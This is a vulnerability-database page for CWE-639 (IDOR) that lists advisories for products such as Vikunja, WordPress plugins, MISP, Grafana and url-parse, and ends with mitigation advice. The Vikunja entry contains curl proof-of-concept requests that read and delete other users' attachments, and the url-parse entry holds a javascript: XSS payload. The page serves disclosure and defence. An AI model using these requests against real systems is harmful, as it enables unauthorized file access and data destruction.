Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3257 vulnerabilities reference this CWE, most recent first.

GHSA-J9XJ-CJF3-9JXJ

Vulnerability from github – Published: 2025-10-01 15:30 – Updated: 2025-10-21 21:33
VLAI
Details

IMPAQTR Aurora before 1.36 allows Insecure Direct Object Reference attacks against the users list, organization details, bookmarks, and notifications of an arbitrary organization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-59687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-01T15:15:48Z",
    "severity": "MODERATE"
  },
  "details": "IMPAQTR Aurora before 1.36 allows Insecure Direct Object Reference attacks against the users list, organization details, bookmarks, and notifications of an arbitrary organization.",
  "id": "GHSA-j9xj-cjf3-9jxj",
  "modified": "2025-10-21T21:33:25Z",
  "published": "2025-10-01T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59687"
    },
    {
      "type": "WEB",
      "url": "https://aurora-impaqtr.com"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Henkel-CyberVM/CVEs/tree/main/CVE-2025-59687"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JC6G-WHC6-QFJ3

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2023-08-02 00:30
VLAI
Details

Windows TCP/IP Driver Security Feature Bypass Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-08T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Windows TCP/IP Driver Security Feature Bypass Vulnerability",
  "id": "GHSA-jc6g-whc6-qfj3",
  "modified": "2023-08-02T00:30:34Z",
  "published": "2022-05-24T19:04:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31970"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31970"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/163256/Microsoft-Windows-Filtering-Platform-Token-Access-Check-Privilege-Escalation.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JCX9-WJX2-CCX2

Vulnerability from github – Published: 2025-11-08 06:30 – Updated: 2025-11-08 06:30
VLAI
Details

The Groups plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.0 via the 'group_id' parameter of the group_join function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to register for groups other than ones set in the shortcode.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-08T04:15:43Z",
    "severity": "MODERATE"
  },
  "details": "The Groups plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.0 via the \u0027group_id\u0027 parameter of the group_join function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to register for groups other than ones set in the shortcode.",
  "id": "GHSA-jcx9-wjx2-ccx2",
  "modified": "2025-11-08T06:30:26Z",
  "published": "2025-11-08T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11748"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/groups/trunk/lib/views/class-groups-shortcodes.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3387846%40groups\u0026new=3387846%40groups\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0f6d28a-d5ca-4700-bc61-f2dd20f06fcf?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JF5R-8HM2-F872

Vulnerability from github – Published: 2022-02-22 00:00 – Updated: 2026-02-03 22:10
VLAI
Summary
url-parse incorrectly parses hostname / protocol due to unstripped leading control characters.
Details

Leading control characters in a URL are not stripped when passed into url-parse. This can cause input URLs to be mistakenly be interpreted as a relative URL without a hostname and protocol, while the WHATWG URL parser will trim control characters and treat it as an absolute URL.

If url-parse is used in security decisions involving the hostname / protocol, and the input URL is used in a client which uses the WHATWG URL parser, the decision may be incorrect.

This can also lead to a cross-site scripting (XSS) vulnerability if url-parse is used to check for the javascript: protocol in URLs. See following example:

const parse = require('url-parse')
const express = require('express')
const app = express()
const port = 3000

url = parse(\"\\bjavascript:alert(1)\")

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== \"javascript:\") {res.send(\"<a href=\\'\" + url.href + \"\\'>CLICK ME!</a>\")}
 })

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
 })
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "url-parse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "1.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-01T19:05:20Z",
    "nvd_published_at": "2022-02-21T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Leading control characters in a URL are not stripped when passed into url-parse. This can cause input URLs to be mistakenly be interpreted as a relative URL without a hostname and protocol, while the WHATWG URL parser will trim control characters and treat it as an absolute URL.\n\nIf url-parse is used in security decisions involving the hostname / protocol, and the input URL is used in a client which uses the WHATWG URL parser, the decision may be incorrect.\n\nThis can also lead to a cross-site scripting (XSS) vulnerability if url-parse is used to check for the javascript: protocol in URLs. See following example:\n```js\nconst parse = require(\u0027url-parse\u0027)\nconst express = require(\u0027express\u0027)\nconst app = express()\nconst port = 3000\n\nurl = parse(\\\"\\\\bjavascript:alert(1)\\\")\n\nconsole.log(url)\n\napp.get(\u0027/\u0027, (req, res) =\u003e {\n if (url.protocol !== \\\"javascript:\\\") {res.send(\\\"\u003ca href=\\\\\u0027\\\" + url.href + \\\"\\\\\u0027\u003eCLICK ME!\u003c/a\u003e\\\")}\n })\n\napp.listen(port, () =\u003e {\n console.log(`Example app listening on port ${port}`)\n })\n```",
  "id": "GHSA-jf5r-8hm2-f872",
  "modified": "2026-02-03T22:10:35Z",
  "published": "2022-02-22T00:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0691"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/6765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unshiftio/url-parse/commit/0e3fb542d60ddbf6933f22eb9b1e06e25eaa5b63"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unshiftio/url-parse"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/57124ed5-4b68-4934-8325-2c546257f2e4"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/02/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220325-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "url-parse incorrectly parses hostname / protocol due to unstripped leading control characters."
}

GHSA-JF62-G97C-J9X3

Vulnerability from github – Published: 2024-01-03 03:30 – Updated: 2025-06-03 21:30
VLAI
Details

HCL DRYiCE MyXalytics is impacted by an Insecure Direct Object Reference (IDOR) vulnerability.  A user can obtain certain details about another user as a result of improper access control.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-50342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-03T03:15:10Z",
    "severity": "HIGH"
  },
  "details": "HCL DRYiCE MyXalytics is impacted by an Insecure Direct Object Reference (IDOR) vulnerability. \u00a0A user can obtain certain details about another user as a result of improper access control.",
  "id": "GHSA-jf62-g97c-j9x3",
  "modified": "2025-06-03T21:30:32Z",
  "published": "2024-01-03T03:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50342"
    },
    {
      "type": "WEB",
      "url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0109608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JFMM-MJCP-8WQ2

Vulnerability from github – Published: 2026-03-25 21:17 – Updated: 2026-03-25 21:17
VLAI
Summary
Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion
Details

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:

// pkg/models/task_attachment.go:110-120
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
    exists, err := s.Where("id = ?", ta.ID).Get(ta)  // Only checks attachment ID, ignores TaskID
    if err != nil {
        return
    }
    if !exists {
        return ErrTaskAttachmentDoesNotExist{
            TaskID:       ta.TaskID,
            AttachmentID: ta.ID,
        }
    }
    // ...
}

The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:

// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
    t := &Task{ID: ta.TaskID}  // ta.TaskID is from URL param :task
    return t.CanRead(s, a)
}

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):

// pkg/models/task_attachment.go:41-42
ID     int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"`
TaskID int64 `xorm:"bigint not null" json:"task_id" param:"task"`

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:

// pkg/models/task_comments.go:196-205 (the fix)
func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
    query := s.Where("id = ?", tc.ID).NoAutoCondition()
    if tc.TaskID != 0 {
        query = query.And("task_id = ?", tc.TaskID)
    }
    // ...
}

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

# Attacker creates a project
curl -s -X PUT 'http://localhost:3456/api/v1/projects' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker project"}' | jq '.id'
# Returns: 10

# Attacker creates a task in their project
curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker task"}' | jq '.id'
# Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
  -H 'Authorization: Bearer <victim_token>' \
  -F 'files=@secret-document.pdf'
# Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

# Attacker accesses victim's attachment (id=5) via their own task (id=50)
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>' \
  -o stolen-file.pdf
# Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

  • Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
  • Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
  • Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
  • Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add task_id validation to ReadOne, mirroring the fix already applied to task comments:

// pkg/models/task_attachment.go
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
    query := s.Where("id = ?", ta.ID)
    if ta.TaskID != 0 {
        query = query.And("task_id = ?", ta.TaskID)
    }
    exists, err := query.Get(ta)
    if err != nil {
        return
    }
    if !exists {
        return ErrTaskAttachmentDoesNotExist{
            TaskID:       ta.TaskID,
            AttachmentID: ta.ID,
        }
    }

    // ... rest unchanged
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:17:42Z",
    "nvd_published_at": "2026-03-24T16:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.\n\n## Details\n\nThe vulnerability is in `pkg/models/task_attachment.go` in the `ReadOne` method:\n\n```go\n// pkg/models/task_attachment.go:110-120\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n\texists, err := s.Where(\"id = ?\", ta.ID).Get(ta)  // Only checks attachment ID, ignores TaskID\n\tif err != nil {\n\t\treturn\n\t}\n\tif !exists {\n\t\treturn ErrTaskAttachmentDoesNotExist{\n\t\t\tTaskID:       ta.TaskID,\n\t\t\tAttachmentID: ta.ID,\n\t\t}\n\t}\n\t// ...\n}\n```\n\nThe permission check in `pkg/models/task_attachment_permissions.go` validates access to the URL task, not the attachment\u0027s actual task:\n\n```go\n// pkg/models/task_attachment_permissions.go:25-28\nfunc (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {\n\tt := \u0026Task{ID: ta.TaskID}  // ta.TaskID is from URL param :task\n\treturn t.CanRead(s, a)\n}\n```\n\nThe `TaskAttachment` struct binds URL parameters via struct tags (`param:\"task\"` and `param:\"attachment\"`):\n```go\n// pkg/models/task_attachment.go:41-42\nID     int64 `xorm:\"bigint autoincr not null unique pk\" json:\"id\" param:\"attachment\"`\nTaskID int64 `xorm:\"bigint not null\" json:\"task_id\" param:\"task\"`\n```\n\n**Attack flow for read (GET):**\nThe custom handler at `pkg/routes/api/v1/task_attachment.go:156` calls `CanRead` (checks URL task) then `ReadOne` (loads attachment by ID only).\n\n**Attack flow for delete (DELETE):**\nThe generic CRUD handler calls `CanDelete` (checks write on URL task) then `Delete` which calls `ReadOne` (loads any attachment by ID), then deletes it.\n\nThis is the same vulnerability pattern that was already fixed for task comments, where `getTaskCommentSimple` was patched to add `AND task_id = ?` validation:\n\n```go\n// pkg/models/task_comments.go:196-205 (the fix)\nfunc getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {\n\tquery := s.Where(\"id = ?\", tc.ID).NoAutoCondition()\n\tif tc.TaskID != 0 {\n\t\tquery = query.And(\"task_id = ?\", tc.TaskID)\n\t}\n\t// ...\n}\n```\n\n## PoC\n\n**Prerequisites:** Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).\n\n**Step 1:** Attacker creates their own project and task.\n\n```bash\n# Attacker creates a project\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/projects\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"attacker project\"}\u0027 | jq \u0027.id\u0027\n# Returns: 10\n\n# Attacker creates a task in their project\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/projects/10/tasks\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"attacker task\"}\u0027 | jq \u0027.id\u0027\n# Returns: 50\n```\n\n**Step 2:** Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).\n\n```bash\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/tasks/1/attachments\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvictim_token\u003e\u0027 \\\n  -F \u0027files=@secret-document.pdf\u0027\n# Returns attachment with id: 5\n```\n\n**Step 3:** Attacker downloads the victim\u0027s attachment by referencing their own task ID but the victim\u0027s attachment ID.\n\n```bash\n# Attacker accesses victim\u0027s attachment (id=5) via their own task (id=50)\ncurl -s -X GET \u0027http://localhost:3456/api/v1/tasks/50/attachments/5\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -o stolen-file.pdf\n# Returns: victim\u0027s secret-document.pdf\n```\n\n**Step 4:** Attacker can also delete the victim\u0027s attachment.\n\n```bash\ncurl -s -X DELETE \u0027http://localhost:3456/api/v1/tasks/50/attachments/5\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027\n# Returns: 200 OK \u2014 victim\u0027s attachment is deleted\n```\n\nSince attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).\n\n## Impact\n\n- **Confidentiality:** Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.\n- **Integrity:** Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.\n- **Enumeration:** Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.\n- **Scope:** Affects all Vikunja instances with task attachments enabled (the default).\n\n## Recommended Fix\n\nAdd `task_id` validation to `ReadOne`, mirroring the fix already applied to task comments:\n\n```go\n// pkg/models/task_attachment.go\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n\tquery := s.Where(\"id = ?\", ta.ID)\n\tif ta.TaskID != 0 {\n\t\tquery = query.And(\"task_id = ?\", ta.TaskID)\n\t}\n\texists, err := query.Get(ta)\n\tif err != nil {\n\t\treturn\n\t}\n\tif !exists {\n\t\treturn ErrTaskAttachmentDoesNotExist{\n\t\t\tTaskID:       ta.TaskID,\n\t\t\tAttachmentID: ta.ID,\n\t\t}\n\t}\n\n\t// ... rest unchanged\n}\n```",
  "id": "GHSA-jfmm-mjcp-8wq2",
  "modified": "2026-03-25T21:17:42Z",
  "published": "2026-03-25T21:17:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion"
}

GHSA-JFQF-9254-245V

Vulnerability from github – Published: 2026-06-12 21:31 – Updated: 2026-06-12 21:31
VLAI
Details

An improper authorization vulnerability in MISP allowed an authenticated organization administrator to access or modify user settings belonging to site administrator accounts within the same organization. The affected access-control checks scoped administrative actions by organization membership but did not exclude higher-privileged site administrator users. As a result, an organization administrator could potentially view or alter site administrator user settings and related login profile information, crossing the intended privilege boundary between organization administration and site-wide administration.

The patch hardens the ACL logic by excluding site administrator accounts from organization administrator–managed user sets, adding explicit authorization failure when a target user is not administrable, and ensuring user setting and login profile operations fail closed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability in MISP allowed an authenticated organization administrator to access or modify user settings belonging to site administrator accounts within the same organization. The affected access-control checks scoped administrative actions by organization membership but did not exclude higher-privileged site administrator users. As a result, an organization administrator could potentially view or alter site administrator user settings and related login profile information, crossing the intended privilege boundary between organization administration and site-wide administration.\n\nThe patch hardens the ACL logic by excluding site administrator accounts from organization administrator\u2013managed user sets, adding explicit authorization failure when a target user is not administrable, and ensuring user setting and login profile operations fail closed.",
  "id": "GHSA-jfqf-9254-245v",
  "modified": "2026-06-12T21:31:45Z",
  "published": "2026-06-12T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/ed3d9b862dea4c8c8e9b620a5ad99ce0c2c82154"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JFWP-6M6H-2WGW

Vulnerability from github – Published: 2025-10-18 09:30 – Updated: 2025-10-18 09:30
VLAI
Details

The Event Tickets and Registration plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 5.26.5. This is due to the /wp-json/tribe/tickets/v1/commerce/free/order endpoint not verifying that a ticket type should be free allowing the user to bypass the payment. This makes it possible for unauthenticated attackers to obtain access to paid tickets, without paying for them, causing a loss of revenue for the target.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-18T07:15:35Z",
    "severity": "HIGH"
  },
  "details": "The Event Tickets and Registration plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 5.26.5. This is due to the /wp-json/tribe/tickets/v1/commerce/free/order endpoint not verifying that a ticket type should be free allowing the user to bypass the payment. This makes it possible for unauthenticated attackers to obtain access to paid tickets, without paying for them, causing a loss of revenue for the target.",
  "id": "GHSA-jfwp-6m6h-2wgw",
  "modified": "2025-10-18T09:30:50Z",
  "published": "2025-10-18T09:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11517"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3378214/event-tickets/tags/5.26.6/src/Tickets/Commerce/Gateways/Free/REST/Order_Endpoint.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/21cd8cb8-2a29-4b66-ab7a-8d8b2f85e2e0?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JFX4-P2CG-248G

Vulnerability from github – Published: 2024-11-12 21:30 – Updated: 2024-11-12 21:30
VLAI
Details

An authorization bypass through user-controlled key vulnerability [CWE-639] in Fortinet FortiPortal version 7.0.0 through 7.0.3 allows an authenticated attacker to interact with ressources of other organizations via HTTP or HTTPS requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-47543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T19:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An authorization bypass through user-controlled key vulnerability [CWE-639] in Fortinet FortiPortal version 7.0.0 through 7.0.3 allows an authenticated attacker to interact with ressources of other organizations via HTTP or HTTPS requests.",
  "id": "GHSA-jfx4-p2cg-248g",
  "modified": "2024-11-12T21:30:51Z",
  "published": "2024-11-12T21:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47543"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-23-448"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JGFQ-MGXG-4QWM

Vulnerability from github – Published: 2026-01-27 09:30 – Updated: 2026-07-16 12:31
VLAI
Details

The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-21721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-27T09:15:48Z",
    "severity": "HIGH"
  },
  "details": "The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization\u2011internal privilege escalation.",
  "id": "GHSA-jgfq-mgxg-4qwm",
  "modified": "2026-07-16T12:31:43Z",
  "published": "2026-01-27T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2914"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2920"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3078"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3529"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40138"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5633"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:8229"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-21721"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433242"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/CVE-2026-21721"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-21721.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.